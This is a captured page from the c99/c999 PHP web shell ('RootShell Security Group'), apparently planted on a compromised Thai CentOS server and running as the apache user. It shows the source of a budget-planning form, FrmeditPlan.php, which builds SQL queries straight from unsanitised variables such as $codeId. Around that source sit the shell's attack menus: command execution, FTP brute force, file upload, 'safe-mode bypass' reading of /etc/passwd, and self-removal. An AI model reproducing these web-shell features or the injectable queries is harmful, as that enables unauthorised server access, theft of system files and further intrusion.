!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/plan/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FrmeditPlan.php (14.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/FunctionDB.php" );

        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
$Username $valid_user;

        
/**  Config Table for This Page  */
        
$myTable "project_tb";
        
//$myTable2 = "faculty_tb";
        
        //===  salary_repot_tb
        
$query " SELECT *  FROM $myTable  WHERE  codeId='$codeId'  ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลแผนดำเนินงานและรายงาน : ข้อมูลแผนดำเนินการ รายปีงบประมาณ - เพิ่มข้อมูลแผน/โครงการรดำเนินงาน (ย่อย)</title>
<style type="text/css">
<!--
.style1 {    font-size: 14px;
    font-family: Tahoma;
}
.style5 {font-size: 14px; color: #FF0000; font-family: Tahoma;}
.style5 {font-size: 14px; color: #FF0000; font-family: Tahoma;}
.style6 {font-size: 14px; font-family: Tahoma; }
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset><table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="EditStdPlanIn.php" onSubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="showPlaning.php?ProjectId=<? echo $rs['ProjectId']?>&Project_code=<? echo $rs['Project_code']?>&Faculty_code=<? echo $rs['Faculty_code']?>&Budget_Year=<? echo $rs['Budget_Year']?>">แสดงการแก้ไขกิจกรรม/โครงการ</a> &raquo; <a href="DetailRepPlaning.php?ProjectId=<?php echo $rs['ProjectId']; ?>&amp;Orderlist=<?php echo $rs['Orderlist']; ?>&amp;Project_code=<?php echo $rs['Project_code']; ?>&amp;Faculty_code=<?=$rs['Faculty_code'];?>&amp;Budget_Year=<?php echo $rs['Budget_Year']; ?>">รายงานการใช้เงินตามข้อย่อยแผน</a> &raquo; <span class="NOTE">แก้ไขข้อมูลการใช้เงินตามกิจกรรม/โครงการ</span></strong></td>
      </tr>
      <tr>
        <td><table width="99%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td width="50%" class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></td>
            <td width="50%" align="right" valign="bottom" class="PADDING-TOP-10 PADDING-BOTTOM-5"><span class="TEXT-ORANGE9">&nbsp;</span></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td height="173" align="center" valign="top"><table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" style=" border:0px solid gray"size="12">
          <tr>
            <td height="29" bgcolor="#FFFFFF">&nbsp;</td>
          </tr>
          <tr>
            <td height="43" ><table width="98%" border="0" align="center" cellpadding="0" cellspacing="3" bgcolor="#E0E0E0">
              <tr bgcolor="#EEEEEE">
                <td width="23%" align="right" bgcolor="#FFFFFF">เลขที่เอกสาร</td>
                <td width="2%" bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td width="75%" bordercolor="#006699" bgcolor="#FFFFFF"><?=htmlspecialchars_decodenl2br$rs['ProjectNo'] ) );?></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td align="right" bgcolor="#FFFFFF"><font color="#000066" face="Tahoma">รายละเอียดของแผนดำเนินกา</font>ร</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><label>
                  <textarea name="Training_name" id="Training_name" cols="60" rows="5"><?=htmlspecialchars_decodenl2br$rs['Training_name'] ) );?>
                  </textarea>
                  </label></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td align="right" bgcolor="#FFFFFF"><span style="padding-top:10px;">ผู้ใช้เงิน</span></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">
                  <select name="Teacher_code" id="Teacher_code">
                    <option value=""></option>
                    <?php
                  $sql1 
" SELECT *  FROM personal_tb  WHERE StatusId='1'    ORDER BY  Teacher_name  ASC ";
                  
$result1 mysql_query($sql1);
                  while( 
$rs1 mysql_fetch_array($result1) ) {
                
?>
                    <option value="<?=$rs1['Teacher_code'];?><?php if( $rs1['Teacher_code']==$rs['Teacher_code'] ) echo 'selected';?>>
                      <?=$rs1['First_name'];?>
                      <?=$rs1['Teacher_name'];?>
                      &nbsp;
                      <?=$rs1['Teacher_lastname'];?>
                      </option>
                    <?php
                
# while
                  
mysql_free_result($result1);
              
?>
                    </select>
                  </a></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td align="right" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">หมวดเงิน</font></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><select name="MoneyS_C" id="MoneyS_C">
                  <?php
            $MoneyS_C  
$rs[MoneyS_C];    
            
$strSQL1 "SELECT * FROM  money_source_tb  Where  MoneyS_C='$MoneyS_C'   ";
            
$result1 mysql_query($strSQL1);
           
$strSQL2 "SELECT * FROM  money_source_tb  Order By  MoneyS_C ";
            
$result2 mysql_query($strSQL2);
                 while( 
$rs1 mysql_fetch_array($result1))
                {
                        echo
"<option value=\"$rs1[MoneyS_C]\" ><b>$rs1[MoneyS_M]</b></option>\n";
                 while( 
$rs2 mysql_fetch_array($result2))
                    {
                        echo
"<option value=\"$rs2[MoneyS_C]\" ><b>$rs2[MoneyS_M]</b></option>\n";
                 }
                }
                        
            
?>
                </select></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td align="right" bgcolor="#FFFFFF"><font color="#003366" face="Tahoma">ประเภทหมวดค่าใช้จ่าย</font></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><select name="MoneyId" id="MoneyId">
                  <?php
            $MoneyId  
$rs[MoneyId];             
            
$strSQL2 "SELECT * FROM   money_tb  Where   MoneyId='$MoneyId'   ";
            
$result2mysql_query($strSQL2);  
            
$strSQL3 "SELECT * FROM  money_tb  Order By  MoneyId ";
            
$result3mysql_query($strSQL3);
                 while( 
$rs2 mysql_fetch_array($result2))
                {
                echo
"<option value=\"$rs2[MoneyId]\" ><b>$rs2[MoneyName]</b></option>\n";
                 while( 
$rs3mysql_fetch_array($result3))
                 {
                 echo
"<option value=\"$rs3[MoneyId]\" ><b>$rs3[MoneyName]</b></option>\n";
                } 
                }
                        
CloseDB();  
            
?>
                </select></td>
              </tr>
              <tr bgcolor="#eeeeee">
                <td align="right" bordercolor="#99CC99" bgcolor="#FFFFFF"><span class="style6"><font color="#000066" face="Tahoma">วัน/เดือน/ปี 
                  (ที่</font><font face="Tahoma">ดำเนินการ</font><font color="#000066" face="Tahoma">)</font></span></td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">วัน<font color="#000000" size="2" face="Tahoma">
                  <select name="mDate" class="select" id="mDate" >
                    <?php
           $Date 
$rs[Date];
           
$yearthai explode("-",$Date);
           
$mDate =   intval($yearthai[2]);
           
$mMonth =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);
            for(
$i=0;$i<=31;$i++)
             {  
            if( 
$i == 0)
               echo
"\n\t<option value=\"$mDate\" selected>$mDate</option>\n ";
             else
               echo
"\n\t<option value=\"$i\">$i</option>\n ";
              }
           
?>
                  </select>
                  </font>-<font color="#000000" size="2" face="Tahoma">
                    <select name="mMonth" class="select" id="mMonth"  >
                      <?php
          $Date
$rs[Date];
           
$yearthai explode("-",$Date);
           
$mDate=   intval($yearthai[2]);
           
$Month =  intval($yearthai[1]);
           
$mYear =   intval($yearthai[0]);     
           
$mMonth $Month;
          
$CMonth TxtThaiMonth($Month);
           for(
$i=-1;$i<=11;$i++)
              {
             
$a $i+1;
                if( 
$a == 0)
                  echo
"\n\t<option value=\"$mMonth\" selected>$CMonth</option>\n ";
             else
                  echo
"\n\t<option value=\"$a\">$ThaiMonth[$i]</option>\n ";
              }
                 
// getThaiMonth();
          
?>
                    </select>
                    </font><font color="#000000" face="Tahoma">-</font><font color="#000000" size="2" face="Tahoma">
                      <input name="mYear" type="text" class="style6" id="mYear" value="<? echo $mYear ?>" size="3" maxlength="4" />
                    </font></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" colspan="3" align="left" bgcolor="#FFFFFF"><span style="padding-left:103px"><font face="Tahoma">จำนวนเงินทั้งหมดที่ใช้ตามแผน</font>
                  <input name="Budget_use" type="text" id="Budget_use" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php
                  $sql 
" SELECT SUM(Spending_use) AS SumB1  FROM project_tb  WHERE  ProjectId='$rs[ProjectId]' "  
                 
$result11 mysql_query($sql);
                   
$rs11 mysql_fetch_array($result11);
                   echo 
number_format($rs11['SumB1'],2,'.',','); ?> " size="10" />
                  บาท</font></span></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" colspan="3" align="left" bgcolor="#FFFFFF"><span style="padding-left:103px"><font face="Tahoma">จำนวนเงินทั้งหมดที่ตั้งไว้ตามแผน</font>
                  <input name="Budget_use2" type="text" id="Budget_use2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?php       
                  $sql 
" SELECT * FROM project_type_tb  WHERE ProjectId='$rs[ProjectId]' "  
                  
$result22 mysql_query($sql);
                 
$rs22 mysql_fetch_array($result22);
                  echo 
number_format($rs22['Budget_use'],2,'.',','); 
                
?> " size="10" />
                  บาท </font></span></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" colspan="3" align="left" bgcolor="#FFFFFF"><span style="padding-left:103px"><font face="Tahoma">คงเหลือเงินทั้งหมดตามแผน</font>
                  <input name="Budget_use3" type="text" id="Budget_use5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?    
                  $Sum3 
$rs22['Budget_use'] - $rs11['SumB1'] ;
              echo 
number_format($Sum3,2,'.',','); ?> " size="10" />
                  บาท </font></font></span></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" align="right" bgcolor="#FFFFFF">จำนวนเงินที่ขอใช้ตามแผน</a></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td align="left" bordercolor="#006699" bgcolor="#FFFFFF"><input name="Spending_use" type="text" id="Budget_use3" value="<? echo $rs['Spending_use']?>" size="10" readonly  />
                  บาท </a></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" align="right" bgcolor="#FFFFFF">จำนวนเงินที่ใช้จริงตามแผน</a></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF"><strong>*</strong></a></td>
                <td align="left" bordercolor="#006699" bgcolor="#FFFFFF"><input name="Budget_use" type="text" id="Budget_use" value="<? echo $rs['Budget_use']?>" size="10" />
                  </a></strong>บาท </a>*ไม่ต้องพิมพ์เครื่องหมาย comma (,)</a></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" align="right" bgcolor="#FFFFFF">ส่วนต่าง(คืนเงิน/เบิกเพิ่ม)</a></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td align="left" bordercolor="#006699" bgcolor="#FFFFFF"><?  $Sum $rs[Spending_use] - $rs[Budget_use] ;
                       echo 
number_format($Sum,2,'.',','); ?>
                  บาท </a></td>
              </tr>
              <tr bgcolor="#EEEEEE">
                <td height="22" align="right" bgcolor="#FFFFFF"><span class="style5">สถานะการดำเนินการ</span></td>
                <td bordercolor="#006699" bgcolor="#FFFFFF">&nbsp;</td>
                <td align="left" bordercolor="#006699" bgcolor="#FFFFFF"><input name="Flag" type="checkbox" id="Flag" value="Y"  <?php if ( !strcmp("$rs[Flag]","Y") ) { echo "checked"; } ?> /></td>
              </tr>
              <tr bgcolor="#ECD9C6">
                <td height="32" colspan="3" bgcolor="#FFFFFF"><div align="center">
                  <input name="codeId" type="hidden" id="codeId" value="<?=$codeId;?>" />
                  <input name="Submit" type="submit" id="Submit" value="  บันทึกข้อมูล"  />
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</div></td>
              </tr>
            </table></td>
          </tr>
        </table></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--